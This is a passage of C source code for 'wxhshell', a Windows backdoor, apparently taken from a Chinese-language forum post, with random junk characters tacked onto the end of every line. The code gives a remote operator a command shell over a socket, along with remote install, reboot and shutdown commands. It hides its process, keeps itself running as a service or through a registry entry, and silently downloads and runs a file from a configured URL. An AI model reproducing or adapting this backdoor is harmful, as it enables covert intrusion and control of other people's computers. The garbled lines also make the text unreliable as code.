  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cx]H8]ch7  
  else ow{J;vFy\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c9x&:U  
  } S)?N6sz%  
  else { zx5#eMD  
|DYgc$2pN  
    switch(cmd[0]) { G=]ox*BY  
  V*DDU]0k  
  // 帮助 ?dPr HSy  
  case '?': { .N7<bt@~)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [&g"Z"  
    break; ,0c]/Sd*p  
  } pu5%$}dBE  
  // 安装 IhRdn1&  
  case 'i': { zf>*\pZE  
    if(Install()) ;;6$d{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Lt ^*L% x  
    else Gt)ij?~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); udXzsY9Ng  
    break; D?=4'"@v  
    } \SoT^PW  
  // 卸载 e+V8I&%  
  case 'r': { J/IRCjQ}  
    if(Uninstall()) 8L+A&^qx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y^z c @f  
    else 1nw\?r2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TF9A4  
    break; et"Pb_-U  
    } bB>.dC  
  // 显示 wxhshell 所在路径 xS>vmnW  
  case 'p': { tW a'[2L  
    char svExeFile[MAX_PATH]; !nq`Py MR  
    strcpy(svExeFile,"\n\r"); #m17cDL  
      strcat(svExeFile,ExeFile); {Kf5a m  
        send(wsh,svExeFile,strlen(svExeFile),0); A{e>7Z72  
    break; OADW;fj  
    } Ot)S\s>  
  // 重启 ik #Wlz`4  
  case 'b': { `5e{ec c7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3-&~jm~"  
    if(Boot(REBOOT)) p8 Ao{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g)R2V  
    else { N6v?Qzvi  
    closesocket(wsh); cg o  
    ExitThread(0); &>B"/z  
    } 8Ihl}aguW  
    break; jZC[_p;  
    } IJt'[&D  
  // 关机 +xvn n  
  case 'd': { 8N+T=c  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e`:^7$  
    if(Boot(SHUTDOWN)) |}.}q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {o 2 qY|S  
    else { "}wO<O6[  
    closesocket(wsh); K7([Gc9  
    ExitThread(0); z:$ibk4#h  
    } nzaA_^`mB  
    break; $8xb|S[  
    } W+/_0GgQ3  
  // 获取shell -cijLlz%+  
  case 's': { e#,(a  
    CmdShell(wsh); N#ZWW6  
    closesocket(wsh); 22=sh;y+2  
    ExitThread(0); % 1$#fxR  
    break; ,wM4X'] HR  
  } Mm(#N/  
  // 退出 :o .+<_ &  
  case 'x': { JSi0-S[Y{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;g? |y(xv  
    CloseIt(wsh); wMj #.Jh  
    break; O$}.b=N9  
    } 9^ZtbmUf  
  // 离开 k=[s%O 6H  
  case 'q': { yW (|auq  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bc4V&  
    closesocket(wsh); C l,vBjl h  
    WSACleanup(); ! xG*W6IT  
    exit(1); I8j:{*h  
    break; pA8As  
        } W>i"p~!  
  } /.<v,CR  
  } Y*PfU +y~  
g_`a_0v  
  // 提示信息 9$Z0mzk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /1v9U|j  
} KMz!4N  
  } )S(Ly.  
XC)9aC@s  
  return; e1LIk1`p  
} i/%l B  
y/c3x*l.xL  
// shell模块句柄 <JH,B91  
int CmdShell(SOCKET sock) ?KOw~-u  
{ jT =|!,Pn  
STARTUPINFO si; l"%80"zO  
ZeroMemory(&si,sizeof(si)); iGu%_-S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Wz s=BNm9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; flo$[]`.7  
PROCESS_INFORMATION ProcessInfo; d_M+W@{  
char cmdline[]="cmd"; w\YS5!P,V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,d,2Q  
  return 0; Xs2 jR14`  
} sHc-xnd  
T"W<l4i-  
// 自身启动模式 +IWH7qRtp  
int StartFromService(void) #YYJ4^":k  
{ ~cCMLK em  
typedef struct @)uV Fw"\  
{ twq~.:<o  
  DWORD ExitStatus; jh)@3c  
  DWORD PebBaseAddress; (+epRC  
  DWORD AffinityMask; 7!pKlmQ  
  DWORD BasePriority; ZQ_6I}i")  
  ULONG UniqueProcessId; ~}}<+JEEO  
  ULONG InheritedFromUniqueProcessId; o~IAZU39  
}   PROCESS_BASIC_INFORMATION; ~qrSHn}+PU  
]|.ked  
PROCNTQSIP NtQueryInformationProcess; ^0}ma*gi~  
)ZpI%M?)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tLTavE[@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &Y=0 0  
14B',]`  
  HANDLE             hProcess; %7)TiT4V  
  PROCESS_BASIC_INFORMATION pbi; 3X`9&0:j%  
v}6iI}r  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G/<zd)  
  if(NULL == hInst ) return 0; {:K_=IRZ  
[3G{NC|'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L^ J|cgmNw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w3(|A> s3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q[a\a7U z  
uLS]=:BT  
  if (!NtQueryInformationProcess) return 0; 3- Kgz  
w}>%E6UY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gmRc4o  
  if(!hProcess) return 0; }q.D)'g_  
5]N0p,f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |(3 y09  
:rVR{,pL  
  CloseHandle(hProcess); 0%rDDB  
Q+T#J9Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q`'f /CS  
if(hProcess==NULL) return 0; P_1WJ  
hpF_@n  
HMODULE hMod; FfJp::|ddr  
char procName[255]; Qh1pX}X  
unsigned long cbNeeded; FBNLszT{L  
9{jMO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +Y sGH~jX  
#&}- q RA  
  CloseHandle(hProcess); CUI3^;&S  
m4hkV>$d  
if(strstr(procName,"services")) return 1; // 以服务启动 @kFZN6  
[Y .8C$0  
  return 0; // 注册表启动 K$,Zg  
} 5wx_ol}2  
JY#vq'dl|  
// 主模块 JX=rL6Y@:;  
int StartWxhshell(LPSTR lpCmdLine) 1'E=R0`pA  
{ kg7F8($  
  SOCKET wsl; w*VN =  
BOOL val=TRUE; _YF>Y=D-  
  int port=0; i-OD"5a`  
  struct sockaddr_in door; c,~uurVi  
bkV<ZUW|;  
  if(wscfg.ws_autoins) Install(); >zW2w2O3  
j ~-N2b6z  
port=atoi(lpCmdLine); xSmG,}3mF  
k4K. ml IO  
if(port<=0) port=wscfg.ws_port; avRtYL  
cAW}a  
  WSADATA data; Vke<; k-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *(OG+OkC  
1&=)Bxg4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IgX &aW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6!m#;8 4  
  door.sin_family = AF_INET; j 2ag b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xaMDec V  
  door.sin_port = htons(port); f8:nKb>nq$  
^5sA*%T4  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PXMd=,}  
closesocket(wsl); w.?4}'DK  
return 1; vhfjZ  
} ]].~/kC^3k  
t`Z'TqP R  
  if(listen(wsl,2) == INVALID_SOCKET) { %GhI0F #  
closesocket(wsl); 1Toiqb/  
return 1; P8z%*/ 3NF  
} MbRTOH  
  Wxhshell(wsl); oe*1jR_J`[  
  WSACleanup(); t eY@) F  
zEI+)|4?r  
return 0; 9&Jf4lC94  
`}Zqmfs  
} 5qz,FKx5  
mJUM#ry  
// 以NT服务方式启动 <1|[=$w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Tx;a2:6\[  
{ =NF0E8O  
DWORD   status = 0; # rkq ?:Q  
  DWORD   specificError = 0xfffffff; 'C'mgEl%L  
zXY8:+f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ZyGoOk  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {=Zy;Er  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; }4|EHhG  
  serviceStatus.dwWin32ExitCode     = 0; ~Gu$E qQ  
  serviceStatus.dwServiceSpecificExitCode = 0; Ek{QNlQ]4  
  serviceStatus.dwCheckPoint       = 0; 0caZ_-zU  
  serviceStatus.dwWaitHint       = 0; 1rm\u%  
=tOB fRM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FiUQ2w4  
  if (hServiceStatusHandle==0) return; ~[ufL25K  
B0@ Tz39=  
status = GetLastError(); e|]e\Or>  
  if (status!=NO_ERROR) XGl2rX&  
{ 5#DMizv6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?})A-$f ~  
    serviceStatus.dwCheckPoint       = 0; i>Q!5  
    serviceStatus.dwWaitHint       = 0; dCd~]CI  
    serviceStatus.dwWin32ExitCode     = status; <\&9Odqc  
    serviceStatus.dwServiceSpecificExitCode = specificError; :ppaq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I&1Lm)W&  
    return; YYe G9yR  
  } P.]h`4  
=^4Z]d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ;st0Ekni)  
  serviceStatus.dwCheckPoint       = 0; r<vMp'u  
  serviceStatus.dwWaitHint       = 0; ZNQ x;51  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5CY%h  
} W@d&X+7e  
@2>UR9j  
// 处理NT服务事件,比如:启动、停止 xo[o^go  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xuioU  
{ n28JWkK8  
switch(fdwControl) p!UR;xHI\  
{ ALMsF2H  
case SERVICE_CONTROL_STOP: j"qND=15  
  serviceStatus.dwWin32ExitCode = 0; Nfa&r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5XKTb  
  serviceStatus.dwCheckPoint   = 0; \,#$,dUXD  
  serviceStatus.dwWaitHint     = 0; l\UjvG  
  { mwAN9<o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }S> 4.8  
  } [Hh-F#|R  
  return; b>-DX  
case SERVICE_CONTROL_PAUSE: n~^SwOt~;5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KQ\K :#  
  break; .#( vx;  
case SERVICE_CONTROL_CONTINUE: Q-<]'E#\(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6 5g ovor  
  break; %f]#P8V P  
case SERVICE_CONTROL_INTERROGATE: y[_k/.1  
  break; (]]hSkE  
}; !xsfhLZK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *vb"mB  
} vIV|y>;g  
,Z{\YAh1  
// 标准应用程序主函数 0m_yW$w  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )3h\QE!z  
{ sYKx 3[V/  
AQ,lLn+  
// 获取操作系统版本 ;(i6 X)  
OsIsNt=GetOsVer();  +mocSx[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <M:BN6-yG  
7e"}ojt$  
  // 从命令行安装 8['R D`O  
  if(strpbrk(lpCmdLine,"iI")) Install(); .+:iAnf  
Q#eMwM#~  
  // 下载执行文件 T[\1=h]  
if(wscfg.ws_downexe) { HI8mNX3 "j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '`jGr+K,wU  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?ko#N?hgI  
} H*W>v[>  
2zC4nF)>O  
if(!OsIsNt) { Ta?J;&<u]/  
// 如果时win9x,隐藏进程并且设置为注册表启动 (?4%Xtul1  
HideProc(); 2 @#yQB1  
StartWxhshell(lpCmdLine); tguB@,O  
} *'Yy@T8M  
else R"t#dG]1t  
  if(StartFromService()) .QvD603%5  
  // 以服务方式启动 ~,)jZ-fw  
  StartServiceCtrlDispatcher(DispatchTable); 6W i n!4  
else d/d)MoaJ*t  
  // 普通方式启动 h P6f   
  StartWxhshell(lpCmdLine); B;9,Qbb  
!l[;,l   
return 0; F[ E'R.:  
}
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只看该作者 1 发表于: 2006-10-10
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